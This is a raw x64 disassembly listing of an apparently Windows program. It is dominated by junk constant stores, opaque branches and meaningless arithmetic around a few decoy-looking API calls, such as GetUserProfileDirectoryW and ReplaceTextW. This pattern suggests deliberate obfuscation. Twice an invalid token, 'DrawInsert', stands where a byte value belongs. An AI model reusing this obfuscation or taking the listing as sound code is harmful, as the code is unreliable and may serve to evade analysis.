mov dword [rsp + 0x267c], 0x2a54b4ec
mov eax, 0x330
mov word [rsp + 0x9cc], ax
mov eax, 0x4ce
mov word [rsp + 0x9d0], ax
mov eax, 0x8ef
mov word [rsp + 0x9d4], ax
mov dword [rsp + 0x2680], 0xc2d589b2
movabs rax, 0x3f0bf46ca7e72167
mov qword [rsp + 0x4810], rax
mov dword [rsp + 0x2684], 0x51ce1954
mov dword [rsp + 0x2688], 0xe66ec4db
movabs rax, 0xd98ee1acdf6fe88b
mov qword [rsp + 0x4818], rax
mov eax, 0x23
mov word [rsp + 0x9d8], ax
movabs rax, 0x51ac7c37fd57b6e3
mov qword [rsp + 0x4820], rax
mov byte [rsp + 0xd9], 0x58
mov dword [rsp + 0x268c], 0x59af044e
movabs rax, 0xdf26691165900d81
mov qword [rsp + 0x4828], rax
movabs rax, 0x60e997a7c51cf042
mov qword [rsp + 0x4830], rax
mov eax, 0x51
mov word [rsp + 0x9dc], ax
mov byte [rsp + 0xda], 0x62
movabs rax, 0x7e4c48d0d57115fb
mov qword [rsp + 0x4838], rax
mov eax, 0x4b5
mov word [rsp + 0x9e0], ax
mov eax, 0xf9e
mov word [rsp + 0x9e4], ax
mov dword [rsp + 0x2690], 0x40000fb9
movabs rax, 0xb33278ea70a63d9c
mov qword [rsp + 0x4840], rax
mov eax, 0x638
mov word [rsp + 0x9e8], ax
mov dword [rsp + 0x2694], 0x70434806
movabs rax, 0x46d0a5764df3b3da
mov qword [rsp + 0x4848], rax
mov eax, 0x463a
mov word [rsp + 0x9ec], ax
mov dword [rsp + 0x2698], 0x3bba824
movabs rax, 0x71b456eec345ae91
mov qword [rsp + 0x4850], rax
mov byte [rsp + 0xdb], 0x7b
movabs rax, 0xbccb455485b3e17e
mov qword [rsp + 0x4858], rax
mov eax, 0xb7b
mov word [rsp + 0x9f0], ax
mov dword [rsp + 0x269c], 0xf8c8aabd
mov byte [rsp + 0xdc], 0xf4
movabs rax, 0x7620fb35f0bbb6cf
mov qword [rsp + 0x4860], rax
movabs rax, 0xf2aec475a8ae6fe5
mov qword [rsp + 0x4868], rax
movabs rax, 0x86002ab34afcce19
mov qword [rsp + 0x4870], rax
mov byte [rsp + 0xdd], 0x15
movabs rax, 0x33b011f2e51b69f7
mov qword [rsp + 0x4878], rax
mov byte [rsp + 0xde], 0x59
mov dword [rsp + 0x26a0], 0x5141f0e4
mov byte [rsp + 0xdf], 0x83
movabs rax, 0x19099ec10dd5cf69
mov qword [rsp + 0x4880], rax
movabs rax, 0x61281551e6a87174
mov qword [rsp + 0x4888], rax
movabs rax, 0x46602a5c4d5c0ea9
mov qword [rsp + 0x4890], rax
movabs rax, 0xe16ed5f37549c020
mov qword [rsp + 0x4898], rax
mov byte [rsp + 0xe0], 0x26
movabs rax, 0x2cba08051ba94acf
mov qword [rsp + 0x48a0], rax
mov eax, 0x2fc
mov word [rsp + 0x9f4], ax
mov dword [rsp + 0x26a4], 0xcb1b7892
movabs rax, 0x48a35c055f0e9332
mov qword [rsp + 0x48a8], rax
mov eax, 0x2f8a
mov word [rsp + 0x9f8], ax
mov byte [rsp + 0xe1], 0x29
movabs rax, 0x31e8b96aeae5963c
mov qword [rsp + 0x48b0], rax
movabs rax, 0x69524069480e2226
mov qword [rsp + 0x48b8], rax
mov dword [rsp + 0x26a8], 0x6536a679
movabs rax, 0x39d9cb7cb0fdf5df
mov qword [rsp + 0x48c0], rax
movabs rax, 0xc8497cced76120e4
mov qword [rsp + 0x48c8], rax
mov dword [rsp + 0x26ac], 0xa381e842
movabs rax, 0x8ce52f55fcc3f1b6
mov qword [rsp + 0x48d0], rax
mov dword [rsp + 0x26b0], 0x7d36289a
movabs rax, 0xdf86d7c3ba0cc501
mov qword [rsp + 0x48d8], rax
mov byte [rsp + 0xe2], 0x8b
mov byte [rsp + 0xe3], 9
mov dword [rsp + 0x26b4], 0x79f4b536
movabs rax, 0x2e4a74fa9715396d
mov qword [rsp + 0x48e0], rax
mov dword [rsp + 0x26b8], 0x5c87f395
mov dword [rsp + 0x26bc], 0x8e8df485
mov byte [rsp + 0xe4], 0x44
movabs rax, 0x5538094545fe2cf8
mov qword [rsp + 0x48e8], rax
movabs rax, 0xb56be19a7e5fbacf
mov qword [rsp + 0x48f0], rax
mov byte [rsp + 0xe5], 0x28
mov byte [rsp + 0xe6], 0xc5
mov eax, 0xb32
mov word [rsp + 0x9fc], ax
movabs rax, 0x92f96cbba23f8095
mov qword [rsp + 0x48f8], rax
movabs rax, 0x7830bdcc55a48261
mov qword [rsp + 0x4900], rax
mov byte [rsp + 0xe7], 0x2e
mov byte [rsp + 0xe8], 0x37
mov dword [rsp + 0x26c0], 0x4b0454b
mov eax, 0x41b1
mov word [rsp + 0xa00], ax
movabs rax, 0xe4a7e53e42bc2f71
mov qword [rsp + 0x4908], rax
mov eax, 0x21e2
mov word [rsp + 0xa04], ax
mov dword [rsp + 0x26c4], 0x57a8c70a
mov byte [rsp + 0xe9], 0x2a
mov dword [rsp + 0x26c8], 0x6c2245d7
mov byte [rsp + 0xea], 0x15
mov byte [rsp + 0xeb], 0x15
movabs rax, 0x3b2f6ea69a28100a
mov qword [rsp + 0x4910], rax
movabs rax, 0xe3268e234e94dfeb
mov qword [rsp + 0x4918], rax
mov dword [rsp + 0x26cc], 0x82733b9
mov byte [rsp + 0xec], 0x12
mov eax, 0x76c9
mov word [rsp + 0xa08], ax
mov byte [rsp + 0xed], 0x96
mov eax, 0x2d
mov word [rsp + 0xa0c], ax
movabs rax, 0x6c841bf7408f8749
mov qword [rsp + 0x4920], rax
movabs rax, 0xaffbad6894051cec
mov qword [rsp + 0x4928], rax
mov byte [rsp + 0xee], 0x2b
mov eax, 0x1714
mov word [rsp + 0xa10], ax
movabs rax, 0x430f137fba851ec4
mov qword [rsp + 0x4930], rax
movabs rax, 0x9f2b353827a54e14
mov qword [rsp + 0x4938], rax
mov byte [rsp + 0xef], 0x7a
mov dword [rsp + 0x26d0], 0x50ba0c45
mov dword [rsp + 0x26d4], 0x6dc32f5d
mov dword [rsp + 0x26d8], 0x747cd893
movabs rax, 0x1f18fc8fc95ea2ce
mov qword [rsp + 0x4940], rax
movabs rax, 0x18c3eb7857718438
mov qword [rsp + 0x4948], rax
mov eax, 0x5cb4
mov word [rsp + 0xa14], ax
movabs rax, 0x6030489b8c53f9ad
mov qword [rsp + 0x4950], rax
mov dword [rsp + 0x26dc], 0x84150c69
mov byte [rsp + 0xf0], 0xde
mov byte [rsp + 0xf1], 0x1e
mov byte [rsp + 0xf2], 0x56
mov byte [rsp + 0xf3], 0x6b
mov byte [rsp + 0xf4], 0x65
mov eax, 0xbed
mov word [rsp + 0xa18], ax
mov dword [rsp + 0x26e0], 0x5d349365
movabs rax, 0x3f30240bc29b43e
mov qword [rsp + 0x4958], rax
mov dword [rsp + 0x26e4], 0x41420451
mov eax, 0x6d71
mov word [rsp + 0xa1c], ax
mov byte [rsp + 0xf5], 0xa2
movabs rax, 0x1b316dcd3cbfb5ce
mov qword [rsp + 0x4960], rax
mov eax, 0x6a2
mov word [rsp + 0xa20], ax
mov byte [rsp + 0xf6], 0xd0
mov dword [rsp + 0x26e8], 0x88888f7
mov eax, 0x4858
mov word [rsp + 0xa24], ax
movabs rax, 0x4630f17832f87003
mov qword [rsp + 0x4968], rax
movabs rax, 0x2edd11b1d7fceb86
mov qword [rsp + 0x4970], rax
mov eax, 0x64ec
mov word [rsp + 0xa28], ax
mov dword [rsp + 0x26ec], 0x3ce321d1
mov eax, 0x1d8
mov word [rsp + 0xa2c], ax
movabs rax, 0xa65e5ab1b70cdf17
mov qword [rsp + 0x4978], rax
mov eax, 0x829
mov word [rsp + 0xa30], ax
mov eax, 0xf5e
mov word [rsp + 0xa34], ax
mov dword [rsp + 0x26f0], 0x6b914d74
mov byte [rsp + 0xf7], 0x7e
mov eax, 0x1687
mov word [rsp + 0xa38], ax
mov eax, 0xaef
mov word [rsp + 0xa3c], ax
movabs rax, 0x50f9a845fa48b261
mov qword [rsp + 0x4980], rax
mov dword [rsp + 0x26f4], 0x3f92d81f
mov dword [rsp + 0x26f8], 0x9cc6cc23
movabs rax, 0x2903acfbd348664c
mov qword [rsp + 0x4988], rax
movabs rax, 0x91279c58028ae265
mov qword [rsp + 0x4990], rax
mov byte [rsp + 0xf8], 9
movabs rax, 0xb9c19b69a167b9cc
mov qword [rsp + 0x4998], rax
mov dword [rsp + 0x26fc], 0x249b8bf9
mov dword [rsp + 0x2700], 0x4cf40519
movabs rax, 0xe39547fbecff9350
mov qword [rsp + 0x49a0], rax
movabs rax, 0xef230577711d0215
mov qword [rsp + 0x49a8], rax
mov byte [rsp + 0xf9], 0x18
mov byte [rsp + 0xfa], 0x4e
mov dword [rsp + 0x2704], 0x322cdcde
mov byte [rsp + 0xfb], 0x61
mov eax, 0xac
mov word [rsp + 0xa40], ax
movabs rax, 0xcbc0cace5354b5d8
mov qword [rsp + 0x49b0], rax
mov eax, 0x351
mov word [rsp + 0xa44], ax
mov byte [rsp + 0xfc], 0xe1
movabs rax, 0x9713cfad74946cc5
mov qword [rsp + 0x49b8], rax
movabs rax, 0x190d6bff02fbbd18
mov qword [rsp + 0x49c0], rax
mov eax, 0xdac
mov word [rsp + 0xa48], ax
movabs rax, 0x4ed3917a17bcf276
mov qword [rsp + 0x49c8], rax
movabs rax, 0x9d7fb28f971edeff
mov qword [rsp + 0x49d0], rax
mov eax, 0xb0a
mov word [rsp + 0xa4c], ax
mov dword [rsp + 0x2708], 0x7e000798
mov byte [rsp + 0xfd], 0x3b
mov byte [rsp + 0xfe], 0xac
mov eax, 0x30e4
mov word [rsp + 0xa50], ax
mov dword [rsp + 0x270c], 0xdb5def7
mov byte [rsp + 0xff], 0x77
movabs rax, 0x25df8ff9781c2129
mov qword [rsp + 0x49d8], rax
mov byte [rsp + 0x100], 0x30
mov dword [rsp + 0x2710], 0xfdf03e4b
movabs rax, 0xdb1e39f43392114d
mov qword [rsp + 0x49e0], rax
mov byte [rsp + 0x101], 0xa2
mov dword [rsp + 0x2714], 0x205b1202
mov dword [rsp + 0x2718], 0x7a2279f4
mov dword [rsp + 0x271c], 0x2b47e82d
mov byte [rsp + 0x102], 9
mov byte [rsp + 0x103], 0x61
movabs rax, 0x55a362f88ec29e46
mov qword [rsp + 0x49e8], rax
movabs rax, 0x7e438a62ffc2d2d4
mov qword [rsp + 0x49f0], rax
mov eax, 0xcdc
mov word [rsp + 0xa54], ax
mov byte [rsp + 0x104], 0x3d
mov dword [rsp + 0x2720], 0x7f9e110f
movabs rax, 0x455105b5fe9a4324
mov qword [rsp + 0x49f8], rax
mov eax, 0x26b3
mov word [rsp + 0xa58], ax
mov dword [rsp + 0x2724], 0x8cd13ae
mov eax, 0xb72
mov word [rsp + 0xa5c], ax
mov dword [rsp + 0x2728], 0xce9cb150
movabs rax, 0x164f986dfcababcc
mov qword [rsp + 0x4a00], rax
movabs rax, 0x7d6601e0d22da33b
mov qword [rsp + 0x4a08], rax
mov dword [rsp + 0x272c], 0x23a728aa
mov dword [rsp + 0x2730], 0x2d53adcd
mov dword [rsp + 0x2734], 0xe1250e42
mov byte [rsp + 0x105], 0x27
mov dword [rsp + 0x2738], 0x57818026
mov dword [rsp + 0x273c], 0x746b00e0
mov eax, 0x2e1
mov word [rsp + 0xa60], ax
mov byte [rsp + 0x106], DrawInsert
mov byte [rsp + 0x107], 0x60
mov eax, 0xce5
mov word [rsp + 0xa64], ax
mov dword [rsp + 0x2740], 0x700cbcf1
mov dword [rsp + 0x2744], 0x7858bb84
mov eax, 0x5206
mov word [rsp + 0xa68], ax
movabs rax, 0xfa07d91caace290
mov qword [rsp + 0x4a10], rax
movabs rax, 0x2b705c5a60ffeb2c
mov qword [rsp + 0x4a18], rax
mov dword [rsp + 0x2748], 0x7b6323ed
movabs rax, 0x11f92918c9e732ce
mov qword [rsp + 0x4a20], rax
movabs rax, 0x8715196ba17701eb
mov qword [rsp + 0x4a28], rax
movabs rax, 0x18dce45ba4d1b972
mov qword [rsp + 0x4a30], rax
mov byte [rsp + 0x108], 0x92
mov byte [rsp + 0x109], 0x36
movabs rax, 0xf1ae76ba1d4b0b1d
mov qword [rsp + 0x4a38], rax
movabs rax, 0xaef414bc0bd6b0aa
mov qword [rsp + 0x4a40], rax
mov dword [rsp + 0x274c], 0x368bc97
movabs rax, 0xd7e28f05256bb891
mov qword [rsp + 0x4a48], rax
mov byte [rsp + 0x10a], 0x68
mov dword [rsp + 0x2750], 0x9e06dca6
movabs rax, 0x3e8045d4d3c7c9ef
mov qword [rsp + 0x4a50], rax
movabs rax, 0x2aaa96791ad16234
mov qword [rsp + 0x4a58], rax
mov byte [rsp + 0x10b], 0x5d
movabs rax, 0x1b127d10a392887e
mov qword [rsp + 0x4a60], rax
mov eax, 0x34c9
mov word [rsp + 0xa6c], ax
mov byte [rsp + 0x10c], 4
mov dword [rsp + 0x2754], 0xda19c9c2
mov dword [rsp + 0x2758], 0x1812b232
mov dword [rsp + 0x275c], 0x275d5ae7
mov byte [rsp + 0x10d], 0x1b
mov byte [rsp + 0x10e], 0x16
mov eax, 0x400a
mov word [rsp + 0xa70], ax
mov byte [rsp + 0x10f], 0x41
mov dword [rsp + 0x2760], 0x9319ec55
mov dword [rsp + 0x2764], 0x9db159c9
mov dword [rsp + 0x2768], 0x3f37c
mov byte [rsp + 0x110], 0xdd
mov eax, 0x356
mov word [rsp + 0xa74], ax
movabs rax, 0x61a7c5f2f3e13cae
mov qword [rsp + 0x4a68], rax
mov eax, 0xa48
mov word [rsp + 0xa78], ax
mov eax, 0xe25
mov word [rsp + 0xa7c], ax
mov eax, 0xcb0
mov word [rsp + 0xa80], ax
mov byte [rsp + 0x111], 0x5f
movabs rax, 0x6e5686eb4c28833d
mov qword [rsp + 0x4a70], rax
movabs rax, 0x7761d90be4d39b7e
mov qword [rsp + 0x4a78], rax
mov byte [rsp + 0x112], 0x4d
mov byte [rsp + 0x113], 0x55
mov byte [rsp + 0x114], DrawInsert
mov eax, 0x5dc
mov word [rsp + 0xa84], ax
movabs rax, 0x3e1d4f5b8400a724
mov qword [rsp + 0x4a80], rax
mov dword [rsp + 0x276c], 0xc44cc5bc
mov dword [rsp + 0x2770], 0x1c632106
mov eax, 0xc4
mov word [rsp + 0xa88], ax
mov byte [rsp + 0x115], 0x1e
mov eax, 0xb50
mov word [rsp + 0xa8c], ax
mov eax, 0x73ba
mov word [rsp + 0xa90], ax
mov eax, 0x156
mov word [rsp + 0xa94], ax
mov byte [rsp + 0x116], 0x5d
mov byte [rsp + 0x117], 0x3a
mov dword [rsp + 0x2774], 0x7fb775f0
mov byte [rsp + 0x118], 0x1d
mov byte [rsp + 0x119], 0x37
mov eax, 0xee
mov word [rsp + 0xa98], ax
mov eax, 0x4f51
mov word [rsp + 0xa9c], ax
movabs rax, 0x67d255308a59dfdf
mov qword [rsp + 0x4a88], rax
mov eax, 0x66e
mov word [rsp + 0xaa0], ax
mov byte [rsp + 0x11a], 0xde
mov byte [rsp + 0x11b], 0x38
mov byte [rsp + 0x11c], 0x8f
mov byte [rsp + 0x11d], 0x7b
mov byte [rsp + 0x11e], 0x36
mov byte [rsp + 0x11f], 0x48
mov eax, 0xc6f
mov word [rsp + 0xaa4], ax
mov dword [rsp + 0x2778], 0x29a7c8f5
mov byte [rsp + 0x120], 5
mov eax, 0x390
mov word [rsp + 0xaa8], ax
mov eax, 0x7b79
mov word [rsp + 0xaac], ax
mov byte [rsp + 0x121], 0x24
mov dword [rsp + 0x277c], 0x15149cc
mov byte [rsp + 0x122], 0x2d
mov dword [rsp + 0x2780], 0x14d98375
movabs rax, 0x87a8b8da54fdadfb
mov qword [rsp + 0x4a90], rax
mov byte [rsp + 0x123], 0x78
mov byte [rsp + 0x124], 0x7a
movabs rax, 0x4413ca350e9be289
mov qword [rsp + 0x4a98], rax
movabs rax, 0xb5ddd41e1c35500
mov qword [rsp + 0x4aa0], rax
mov byte [rsp + 0x125], 0x18
mov dword [rsp + 0x2784], 0xd979
mov eax, dword [0x140168a78]
add eax, 0x2b3ed3d
mov dword [0x140168a78], eax
mov dword [rsp + 0x2788], 0x784f
movzx eax, word [rsp + 0x930]
sub eax, 0x84a
mov word [rsp + 0x930], ax
mov dword [rsp + 0x278c], 0xc376
mov dword [rsp + 0x2790], 0x3339
mov dword [rsp + 0x2794], 0xcee
mov dword [rsp + 0x2798], 0x2dc79202
cmp dword [rsp + 0x2798], 0xa99a8c42
jne 0x140013f29
movsx eax, byte [rsp + 0x125]
sar eax, 7
mov byte [rsp + 0x125], al
lea r8, [rsp + 0x279c]
mov rdx, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4ab0]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [rsp + 0x27a0], eax
movsx eax, byte [rsp + 0x125]
xor eax, 0x31
mov byte [rsp + 0x125], al
jmp 0x140147cb1
imul eax, dword [rsp + 0x2798], 0x744af90e
cmp eax, 0x6b5c5d2e
jbe 0x140147cb1
cmp dword [rsp + 0x2784], 0x1031c
ja 0x14001422e
mov eax, dword [rsp + 0x2798]
or eax, 0xc8121dc8
mov dword [rsp + 0x2798], eax
mov eax, dword [0x140168a78]
shl eax, 7
mov dword [0x140168a78], eax
movsx eax, byte [rsp + 0x125]
sub eax, 0x76
mov byte [rsp + 0x125], al
movsx eax, byte [rsp + 0x125]
add eax, 0x5f
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x930]
and eax, 0x8a7
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
sub eax, 0xae7
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
add eax, 0xa53
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
add eax, 0x17
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x930]
sub eax, 0xab9
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
xor eax, 0x2f
mov byte [rsp + 0x125], al
mov eax, dword [rsp + 0x2798]
shl eax, 0x1e
mov dword [rsp + 0x2798], eax
movzx eax, word [rsp + 0x930]
sar eax, 7
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
or eax, 0x713
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
and eax, 0x65
mov byte [rsp + 0x125], al
movsx eax, byte [rsp + 0x125]
add eax, 0x4e
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x930]
sub eax, 0x307
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
add eax, 0x930
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
sub eax, 0xb94
mov word [rsp + 0x930], ax
mov eax, dword [rsp + 0x2798]
and eax, 0xe10a6892
mov dword [rsp + 0x2798], eax
movsx eax, byte [rsp + 0x125]
sub eax, 0x17
mov byte [rsp + 0x125], al
mov eax, dword [0x140168a78]
add eax, 0x35300535
mov dword [0x140168a78], eax
movsx eax, byte [rsp + 0x125]
add eax, 0x3e
mov byte [rsp + 0x125], al
mov eax, dword [rsp + 0x2798]
sub eax, 0x8a70d2f4
mov dword [rsp + 0x2798], eax
movsx eax, byte [rsp + 0x125]
sar eax, 7
mov byte [rsp + 0x125], al
movsx eax, byte [rsp + 0x125]
shl eax, 6
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x930]
xor eax, 0xc9
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
or eax, 0xba0
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
and eax, 0x9c3
mov word [rsp + 0x930], ax
mov eax, dword [0x140168a78]
sub eax, 0x6afff032
mov dword [0x140168a78], eax
movsx eax, byte [rsp + 0x125]
add eax, 3
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x930]
add eax, 0x28b
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
sub eax, 0xd
mov byte [rsp + 0x125], al
mov eax, dword [rsp + 0x2784]
add eax, 0xd1
mov dword [rsp + 0x2784], eax
movzx eax, word [rsp + 0x930]
add eax, 0xbc1
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
and eax, 0x66
mov byte [rsp + 0x125], al
mov eax, dword [rsp + 0x2798]
sub eax, 0x3db49283
mov dword [rsp + 0x2798], eax
movzx eax, word [rsp + 0x930]
add eax, 0xedc
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
sub eax, 0x3b2
mov word [rsp + 0x930], ax
jmp 0x140013f3f
cmp dword [rsp + 0x2788], 0x99e7
jae 0x14001440d
movzx eax, word [rsp + 0x930]
shl eax, 2
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
xor eax, 0x31a
mov word [rsp + 0x930], ax
mov eax, dword [0x140168a78]
sar eax, 5
mov dword [0x140168a78], eax
movsx eax, byte [rsp + 0x125]
or eax, 0x39
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x930]
and eax, 0xae9
mov word [rsp + 0x930], ax
mov eax, dword [rsp + 0x2798]
add eax, 0x6be9a44d
mov dword [rsp + 0x2798], eax
movzx eax, word [rsp + 0x930]
sub eax, 0xd89
mov word [rsp + 0x930], ax
mov eax, dword [0x140168a78]
add eax, 0x71549b24
mov dword [0x140168a78], eax
movsx eax, byte [rsp + 0x125]
sub eax, 0x73
mov byte [rsp + 0x125], al
mov eax, dword [0x140168a78]
add eax, 0x5ae46ebd
mov dword [0x140168a78], eax
mov eax, dword [rsp + 0x2788]
add eax, 0xc8
mov dword [rsp + 0x2788], eax
movzx eax, word [rsp + 0x930]
sub eax, 0xe5b
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
and eax, 7
mov byte [rsp + 0x125], al
movsx eax, byte [rsp + 0x125]
sub eax, 0x7e
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x930]
sar eax, 3
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
xor eax, 0x8f9
mov word [rsp + 0x930], ax
mov eax, dword [rsp + 0x2798]
or eax, 0xeadd175
mov dword [rsp + 0x2798], eax
movsx eax, byte [rsp + 0x125]
shl eax, 3
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x930]
add eax, 0x744
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
and eax, 0x7b1
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x930]
sub eax, 0x388
mov word [rsp + 0x930], ax
mov eax, dword [rsp + 0x2798]
add eax, 0x55aa3354
mov dword [rsp + 0x2798], eax
movsx eax, byte [rsp + 0x125]
sub eax, 0x15
mov byte [rsp + 0x125], al
movsx eax, byte [rsp + 0x125]
add eax, 0x6c
mov byte [rsp + 0x125], al
jmp 0x14001422e
mov eax, dword [0x140168a78]
mov dword [rsp + 0x27a4], eax
cmp dword [rsp + 0x27a4], 0x3239f54b
je 0x140014429
jmp 0x14001447a
mov eax, dword [0x140168a78]
mov dword [rsp + 0x27a8], eax
cmp dword [rsp + 0x27a8], 0x20ca17a8
je 0x14001445c
cmp dword [rsp + 0x27a8], 0x30b44d15
je 0x140014452
jmp 0x140014478
mov cl, 0x3b
call fcn.140147df0
nop
jmp 0x140014478
lea rdx, [rsp + 0x4ab0]
mov rcx, qword [rsp + 0x4ab8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x27ac], eax
jmp 0x1400144cc
mov byte [rsp + 0x126], 0xf5
lea rax, [rsp + 0x930]
mov qword [rsp + 0x4ac0], rax
movzx eax, byte [rsp + 0x126]
mov byte [rsp + 0x127], al
lea rax, [rsp + 0x930]
mov qword [rsp + 0x4ac8], rax
mov dword [rsp + 0x27b0], 0xc1a7
lea rax, [rsp + 0x127]
mov qword [rsp + 0x4ad0], rax
movzx eax, byte [rsp + 0x127]
mov byte [rsp + 0x27b4], al
cmp byte [rsp + 0x27b4], 0xf5
je 0x1400144e7
jmp 0x140014543
lea rax, [rsp + 0x2798]
mov qword [rsp + 0x4ad8], rax
movabs rax, 0x6c44c449b09e8744
mov qword [0x140169c40], rax
lea rax, [rsp + 0x125]
mov qword [rsp + 0x4ae0], rax
mov dword [rsp + 0x27b8], 0x8007
mov dword [rsp + 0x27bc], 0x2b98
lea rax, [rsp + 0x127]
mov qword [rsp + 0x4ae8], rax
jmp 0x1400145d6
mov eax, dword [rsp + 0x2798]
mov ecx, dword [rsp + 0x27ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2798]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x27ac]
je 0x1400145a1
mov rax, qword [rsp + 0x4ad8]
mov r9d, dword [rax]
movzx r8d, word [rsp + 0x930]
mov dx, 0x75
mov cx, 0x73
call fcn.140148540
nop
jmp 0x1400145d6
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
shl eax, 3
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movabs rax, 0xdf7ca2921120543f
cmp qword [0x140169c40], rax
ja 0x140147c36
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140168a7c], ax
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x2798]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x27ac]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400146e9
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
sub eax, 0x4d
mov byte [rsp + 0x125], al
lea rcx, [rsp + 0x1da50]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0x4af0], rax
movzx eax, word [rsp + 0x930]
mov dword [rsp + 0x27c4], eax
cmp dword [rsp + 0x27c4], 0xc04
je 0x140014681
jmp 0x1400146d7
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x125]
sub eax, 0x1e
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
jmp 0x1400146e4
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2798], eax
jmp 0x140147b8a
cmp dword [rsp + 0x27b8], 0xb3db
je 0x14001483a
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140168a7c], ax
mov eax, dword [rsp + 0x2798]
mov dword [rsp + 0x27ac], eax
mov eax, dword [rsp + 0x27b8]
add eax, 0xd6
mov dword [rsp + 0x27b8], eax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
sub eax, 0x55
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
movzx eax, word [0x140168a7c]
movzx ecx, word [rsp + 0x930]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
sar eax, cl
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
shl eax, 5
mov byte [rsp + 0x125], al
movabs rax, 0x3ca35ec7ca54778e
mov rcx, qword [0x140169c40]
and rcx, rax
mov rax, rcx
mov qword [0x140169c40], rax
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x127], al
jmp 0x1400146e9
movzx eax, word [0x140168a7c]
movzx ecx, word [rsp + 0x930]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4ac0]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jl 0x140147a86
cmp dword [rsp + 0x27b0], 0xa61b
jbe 0x140014adf
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
sar eax, 2
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x127], al
mov eax, dword [0x140168a78]
sub eax, 0x3cbe3204
mov dword [0x140168a78], eax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
add eax, ecx
